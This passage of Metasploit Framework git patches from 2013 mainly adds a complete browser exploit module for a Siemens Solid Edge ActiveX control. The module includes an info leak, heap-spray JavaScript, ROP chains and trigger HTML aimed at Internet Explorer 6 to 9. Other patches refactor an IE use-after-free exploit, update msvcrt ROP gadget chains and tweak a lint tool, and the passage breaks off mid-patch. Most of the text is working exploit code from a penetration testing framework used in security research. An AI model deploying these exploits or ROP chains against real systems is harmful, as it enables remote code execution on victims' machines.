= TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2) +TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3) +TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4) -TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5) -TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6) -TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7) -TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8) +TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5) +TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6) +TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7) +TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8) -TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9) -TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10) -TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11) +TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9) +TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10) +TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11) -TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12 ) -TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13 ) -TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14 ) +TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12) +TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13) +TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14) -TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15) +TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15) +TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16) end; end; end; end; end; end From 6483c5526ac8d6ed09963316a50bcf670e85c4ac Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Tue, 1 Oct 2013 11:42:36 -0500 Subject: [PATCH 092/210] Add module for OSVDB 93696 --- .../browser/siemens_solid_edge_selistctrlx.rb | 500 ++++++++++++++++++ 1 file changed, 500 insertions(+) create mode 100644 modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb new file mode 100644 index 0000000000..359ba01178 --- /dev/null +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -0,0 +1,500 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => Rank, + :classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}" + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product. + The vulnerability exists on several APIs provided by the control, where user supplied input + is handled as a memory pointer without proper validation, allowing an attacker to read and + corrupt memory from the target process. This module abuses the methods NumChildren() and + DeleteItem() in order to achieve memory info leak and remote code execution respectively. + This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1, + using Solid Edge 10.4. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '93696' ], + [ 'EDB', '25712' ], + [ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ] + ], + 'Payload' => + { + 'Space' => 906, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # Jutil.dll 104.0.0.82 + # SEListCtrlX 104.0.0.82 + [ 'Automatic', {} ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ], + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "May 26 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def junk + return rand_text_alpha(4).unpack("V").first + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + # JUtil ROP Chain + # Jutil Base: 0x1d550000 + # Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret + # Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret + # 0x1db2e121, # POP EDX # RETN [JUtil.dll] + # 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll] + # 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll] + # 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll] + # 0x1d70e314, # POP EBP # RETN [JUtil.dll] + # 0x1d5fc8e8, # & jmp esp [JUtil.dll] + # 0x1d631859, # POP EBX # RETN [JUtil.dll] + # 0x00000201, # 0x00000201-> ebx + # 0x1d769cf9, # POP EDX # RETN [JUtil.dll] + # 0x00000040, # 0x00000040-> edx + # 0x1d6d2e50, # POP ECX # RETN [JUtil.dll] + # 0x1da45217, # &Writable location [JUtil.dll] + # 0x1d632fd1, # POP EDI # RETN [JUtil.dll] + # 0x1d6839db, # RETN (ROP NOP) [JUtil.dll] + # 0x1d752439, # POP EAX # RETN [JUtil.dll] + # 0x90909090, # nop + # 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll] + def ie9_spray(t, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch)) + + js = %Q| + + function rop_chain(jutil_base){ + var arr = [ + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c0c), + Number(0x0c0c0c1c), + Number(0x0c0c0c24), + Number(0x0c0c0c28), + Number(Math.floor(Math.random()*0xffffffff)), + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c3c), + jutil_base + Number(0x00212f17), + jutil_base + Number(0x000a5843), + Number(0x0c0c0c34), + jutil_base + Number(0x5de121), + jutil_base + Number(0x20ca), + jutil_base + Number(0x4bebeb), + jutil_base + Number(0x4c03d2), + jutil_base + Number(0x1be314), + jutil_base + Number(0xac8e8), + jutil_base + Number(0xe1859), + Number(0x00000201), + jutil_base + Number(0x219cf9), + Number(0x00000040), + jutil_base + Number(0x182e50), + jutil_base + Number(0x4f5217), + jutil_base + Number(0xe2fd1), + jutil_base + Number(0x1339db), + jutil_base + Number(0x202439), + Number(0x90909090), + jutil_base + Number(0x4fcfe3) + ]; + return arr; + } + + function d2u(dword){ + var uni = String.fromCharCode(dword & 0xFFFF); + uni += String.fromCharCode(dword>>16); + return uni; + } + + function tab2uni(tab){ + var uni = "" + for(var i=0;i<tab.length;i++){ + uni += d2u(tab[i]); + } + return uni; + } + + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_random_nops}"); + + function heap_spray(jutil_base) { + while (nops.length < 0x80000) nops += nops; + var offset_length = #{t['Offset']}; + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length); + var rop = tab2uni(rop_chain(jutil_base)); + var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + } + | + return js + end + + def ie8_spray(t, p) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) + + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + + function rop_chain(jutil_base){ + var arr = [ + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c0c), + Number(0x0c0c0c1c), + Number(0x0c0c0c24), + Number(0x0c0c0c28), + Number(Math.floor(Math.random()*0xffffffff)), + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c3c), + jutil_base + Number(0x00212f17), + jutil_base + Number(0x000a5843), + Number(0x0c0c0c34), + jutil_base + Number(0x5de121), + jutil_base + Number(0x20ca), + jutil_base + Number(0x4bebeb), + jutil_base + Number(0x4c03d2), + jutil_base + Number(0x1be314), + jutil_base + Number(0xac8e8), + jutil_base + Number(0xe1859), + Number(0x00000201), + jutil_base + Number(0x219cf9), + Number(0x00000040), + jutil_base + Number(0x182e50), + jutil_base + Number(0x4f5217), + jutil_base + Number(0xe2fd1), + jutil_base + Number(0x1339db), + jutil_base + Number(0x202439), + Number(0x90909090), + jutil_base + Number(0x4fcfe3) + ]; + return arr; + } + + function d2u(dword){ + var uni = String.fromCharCode(dword & 0xFFFF); + uni += String.fromCharCode(dword>>16); + return uni; + } + + function tab2uni(tab){ + var uni = "" + for(var i=0;i<tab.length;i++){ + uni += d2u(tab[i]); + } + return uni; + } + + function heap_spray(jutil_base) { + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{t['Offset']}); + var rop = tab2uni(rop_chain(jutil_base)); + var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + } + | + return js + end + + def ie6_spray(t, p) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) + + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var nops = unescape("#{js_nops}"); + var code = unescape("#{js_code}"); + + function heap_spray() { + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{t['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + } + | + return js + end + + def ie_heap_spray(my_target, p) + # Land the payload at 0x0c0c0c0c + case my_target + when targets[7] + # IE 9 on Windows 7 + js = ie9_spray(my_target, p) + when targets[5], targets[6] + # IE 8 on Windows 7 and Windows Vista + js = ie8_spray(my_target, p) + else + js = ie6_spray(my_target, p) + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + @heap_spray_fn = js.sym("heap_spray") + else + @heap_spray_fn = "heap_spray" + end + + return js + end + + def get_windows_xp_payload + fake_memory = [ + junk, # junk # 0c0c0c0c + 0x0c0c0c0c, # Dereference # 0c0c0c10 + 0x0c0c0c0c, # Dereference # 0c0c0c14 + 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 + 0x0c0c0c24, # Dereference # 0c0c0c1c + 0x0c0c0c28, # Dereference # 0c0c0c20 + junk, # junk # 0c0c0c24 + junk, # junk # 0c0c0c28 + 0x0c0c0c0c, # Dereference # 0c0c0c2c + 0x0c0c0c30, # Dereference # 0c0c0c30 + 0x0c0c0c38, # new eip # 0c0c0c34 + ].pack("V*") + + p = fake_memory + payload.encoded + + return p + end + + def get_windows_msvcrt_payload + fake_memory = [ + junk, # junk # 0c0c0c0c + 0x0c0c0c0c, # Dereference # 0c0c0c10 + 0x0c0c0c0c, # Dereference # 0c0c0c14 + 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 + 0x0c0c0c24, # Dereference # 0c0c0c1c + 0x0c0c0c28, # Dereference # 0c0c0c20 + junk, # junk # 0c0c0c24 + junk, # junk # 0c0c0c28 + 0x0c0c0c0c, # Dereference # 0c0c0c2c + 0x0c0c0c3c, # Dereference # 0c0c0c30 + 0x77c21ef4, # ppr msvcrt # 0c0c0c34 + 0x77c15ed5, # xchg eax,esp # ret (msvcrt) + 0x0c0c0c34 # eax value # 0c0c0c3c + ].pack("V*") + + return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'}) + end + + def get_payload(t) + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + p = get_windows_msvcrt_payload + when :jutil + print_status("Using JUtil ROP built dynamically...") + p = payload.encoded + else + print_status("Using payload without ROP...") + p = get_windows_xp_payload + end + + return p + end + + def info_leak_trigger + js = <<-EOS + <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' /> + </object> + <script language='javascript'> + jutil_address = obj.NumChildren(0x10017018 - 0x0c); + jutil_base = jutil_address - 0x49440; + #{@heap_spray_fn}(jutil_base); + obj.DeleteItem(0x0c0c0c08); + </script> + EOS + + return js + end + + def exec_trigger + js = <<-EOS + <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' /> + </object> + <script language='javascript'> + #{@heap_spray_fn}(); + obj.DeleteItem(0x0c0c0c08); + </script> + EOS + + return js + end + + def get_trigger(t) + case t['Rop'] + when :jutil + js = info_leak_trigger + else + js = exec_trigger + end + + return js + end + + def load_exploit_html(my_target) + p = get_payload(my_target) + js = ie_heap_spray(my_target, p) + trigger = get_trigger(my_target) + + html = %Q| + <html> + <head> + <script language='javascript'> + #{js} + </script> + </head> + <body> + #{trigger} + </body> + </html> + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end \ No newline at end of file From 36d058b28c3cf9a70db8fe9c056b022351e2a9c4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Tue, 1 Oct 2013 12:22:46 -0500 Subject: [PATCH 093/210] Warn for tabbed indentation --- tools/msftidy.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index a32ba1df50..49a6e0ca4c 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -361,12 +361,16 @@ class Msftidy warn("Spaces at EOL", idx) end - # Allow tabs or spaces as indent characters, but not both. - # This should check for spaces only on October 8, 2013 + # Check for mixed tab/spaces. Upgrade this to an error() soon. if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) warn("Space-Tab mixed indent: #{ln.inspect}", idx) end + # Check for tabs. Upgrade this to an error() soon. + if (ln.length > 1) and (ln =~ /^\x09/) + warn("Tabbed indent: #{ln.inspect}", idx) + end + if ln =~ /\r$/ warn("Carriage return EOL", idx) end From ed82be6fd87a45833df5e0ee65e16def5f74d61d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Tue, 1 Oct 2013 13:23:09 -0500 Subject: [PATCH 094/210] Use RopDB --- .../windows/browser/ie_setmousecapture_uaf.rb | 72 ++++--------------- 1 file changed, 12 insertions(+), 60 deletions(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 7d0c50cb36..db33363490 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -117,82 +118,33 @@ class Metasploit3 < Msf::Exploit::Remote def get_payload(rop_dll) code = payload.encoded rop = '' - p = '' + alignment = '' case rop_dll when :office2007 - rop = + alignment = [ junk, # Alignment - 0x51c46f91, # POP EBP # RETN [hxds.dll] - 0x51c46f91, # skip 4 bytes [hxds.dll] - 0x51c35a4d, # POP EBX # RETN [hxds.dll] - 0xffffffff, - 0x51bd90fd, # INC EBX # RETN [hxds.dll] - 0x51bd90fd, # INC EBX # RETN [hxds.dll] - 0x51bfa98e, # POP EDX # RETN [hxds.dll] - 0xffffefff, - 0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll] - 0x51c1df88, # NEG EAX # RETN [hxds.dll] - 0x51c55c45, # DEC EAX, RETN [hxds.dll] - 0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll] - 0x51c4c17c, # POP ECX # RETN [hxds.dll] - 0xffffffc0, - 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] - 0x51c1df88, # NEG EAX # RETN [hxds.dll] - 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] - 0x51c05766, # POP EDI # RETN [hxds.dll] - 0x51bfbaaf, # RETN (ROP NOP) [hxds.dll] - 0x51c2e77d, # POP ESI # RETN [hxds.dll] - 0x51bfc840, # JMP [EAX] [hxds.dll] - 0x51c05266, # POP EAX # RETN [hxds.dll] - 0x51bd115c, # ptr to &VirtualAlloc() [IAT hxds.dll] - 0x51bdf91f, # PUSHAD # RETN [hxds.dll] - 0x51c4a9f3, # ptr to 'jmp esp' [hxds.dll] - ].pack("V*") + ].pack("V*") + + rop = generate_rop_payload('hxds', code, { 'target'=>'2007' }) when :office2010 - rop = + alignment = [ # 4 dword junks due to the add esp in stack pivot junk, junk, junk, junk, - 0x51c41953, # POP EBP # RETN [hxds.dll] - 0x51be3a03, # RETN (ROP NOP) [hxds.dll] - 0x51c41953, # skip 4 bytes [hxds.dll] - 0x51c4486d, # POP EBX # RETN [hxds.dll] - 0xffffffff, - 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] - 0x51bd1a77, # INC EAX # RETN [hxds.dll] - 0x51bd1a77, # INC EAX # RETN [hxds.dll] - 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] - 0x51bfa298, # POP EDX # RETN [hxds.dll] - 0xffffefff, - 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] - 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] - junk, - 0x51bd5382, # DEC EAX # RETN [hxds.dll] - 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] - 0x51c1f094, # POP ECX # RETN [hxds.dll] - 0xffffffc0, - 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] - 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] - junk, - 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] - 0x51bf1ff0, # POP EDI # RETN [hxds.dll] - 0x51bd5383, # RETN (ROP NOP) [hxds.dll] - 0x51c07c8b, # POP ESI # RETN [hxds.dll] - 0x51bfc7cb, # JMP [EAX] [hxds.dll] - 0x51c44707, # POP EAX # RETN [hxds.dll] - 0x51bd10bc, # ptr to &VirtualAlloc() [IAT hxds.dll] - 0x51c3604e, # PUSHAD # RETN [hxds.dll] - 0x51c541ef, # ptr to 'jmp esp' [hxds.dll] + 0x51bf518b, # ret + junk # due to the ret 4 on the stack pivot ].pack("V*") + + rop = generate_rop_payload('hxds', code, { 'target'=>'2010' }) end - p = rop + code + p = alignment + rop + code p end From 14d99ffbdba4a60d2e070551ee1d54cff2af23d6 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 1 Oct 2013 15:00:43 -0500 Subject: [PATCH 095/210] Update Win XP msvcrt.dll ROP This updated ROP chain for msvcrt.dll does not have any null bytes. --- data/ropdb/msvcrt.xml | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 13b85cedec..0ed43d06c0 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -7,12 +7,21 @@ </compatibility> <gadgets base="0x77c10000"> + <gadget offset="0x0002b860">POP EAX # RETN</gadget> + <gadget value="0xFFFFFBFF">0xFFFFFBFF -> ebx</gadget> + <gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget> + <gadget value="junk">JUNK</gadget> + <gadget offset="0x0001362c">POP EBX # RETN</gadget> + <gadget offset="0x0004d9bb">Writable location</gadget> + <gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget> + <gadget offset="0x00040d13">POP EDX # RETN</gadget> + <gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget> + <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget> + <gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget> + <gadget value="junk">JUNK</gadget> + <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget> <gadget offset="0x0002ee15">POP EBP # RETN</gadget> <gadget offset="0x0002ee15">skip 4 bytes</gadget> - <gadget offset="0x0003fa1c">POP EBX # RETN</gadget> - <gadget value="0x00000400">0x00000400-> ebx</gadget> - <gadget offset="0x00040d13">POP EDX # RETN</gadget> - <gadget value="0x00000040">0x00000040-> edx</gadget> <gadget offset="0x0002eeef">POP ECX # RETN</gadget> <gadget offset="0x0004d9bb">Writable location</gadget> <gadget offset="0x0001a88c">POP EDI # RETN</gadget> From cd1f023f72e874d6dc371f29e5f9e7c044d22908 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 1 Oct 2013 16:18:57 -0500 Subject: [PATCH 096/210] Update msvcrt.dll ROP chain for Windows Server 2003 --- data/ropdb/msvcrt.xml | 36 +++++++++++++++++++++--------------- 1 file changed, 21 insertions(+), 15 deletions(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 0ed43d06c0..177767e9c0 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -42,23 +42,29 @@ </compatibility> <gadgets base="0x77ba0000"> - <gadget offset="0x0003eebf">POP EAX # RETN</gadget> - <gadget offset="0x00001114">ptr to VirtualProtect()</gadget> + <gadget offset="0x00012563">POP EAX # RETN</gadget> + <gadget offset="0x00001114">VirtualProtect()</gadget> <gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget> - <gadget value="junk">Filler</gadget> + <gadget value="junk">JUNK</gadget> <gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget> - <gadget offset="0x00026320">POP EBP # RETN</gadget> - <gadget offset="0x00042265">PUSH ESP # RETN</gadget> - <gadget offset="0x000385b7">POP EBX # RETN</gadget> - <gadget value="0x00000400">0x00000400-> ebx</gadget> - <gadget offset="0x0003e4fc">POP EDX # RETN</gadget> - <gadget value="0x00000040">0x00000040-> edx</gadget> - <gadget offset="0x000330fb">POP ECX # RETN</gadget> - <gadget offset="0x0004ff56">Writable location</gadget> - <gadget offset="0x00038a92">POP EDI # RETN</gadget> - <gadget offset="0x00037d82">RETN (ROP NOP)</gadget> - <gadget offset="0x0003eebf">POP EAX # RETN</gadget> - <gadget value="nop">nop</gadget> + <gadget offset="0x00029801">POP EBP # RETN</gadget> + <gadget offset="0x00042265">ptr to 'push esp # ret'</gadget> + <gadget offset="0x00012563">POP EAX # RETN</gadget> + <gadget value="0x03C0990F">EAX</gadget> + <gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget> + <gadget offset="0x000148d3">POP EBX, RET</gadget> + <gadget offset="0x000521e0">.data</gadget> + <gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget> + <gadget offset="0x0001fc02">POP ECX # RETN</gadget> + <gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget> + <gadget offset="0x00038c04">POP EDI # RETN</gadget> + <gadget offset="0x00038c05">ROP NOP (-> edi)</gadget> + <gadget offset="0x00012563">POP EAX # RETN</gadget> + <gadget value="0x03C0944F">EAX</gadget> + <gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget> + <gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget> + <gadget offset="0x00012563">POP EAX # RETN</gadget> + <gadget value="nop">NOP</gadget> <gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget> </gadgets> </rop> From 23b0c3b7236f3aad77a0e71f9793238b5851b1c3 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 1 Oct 2013 20:50:16 -0500 Subject: [PATCH 097/210] Add Metasploit blog references These modules have blogs from the Rapid7 community, we should add them. --- modules/exploits/linux/local/vmware_mount.rb | 3 ++- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 3 ++- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 3 ++- 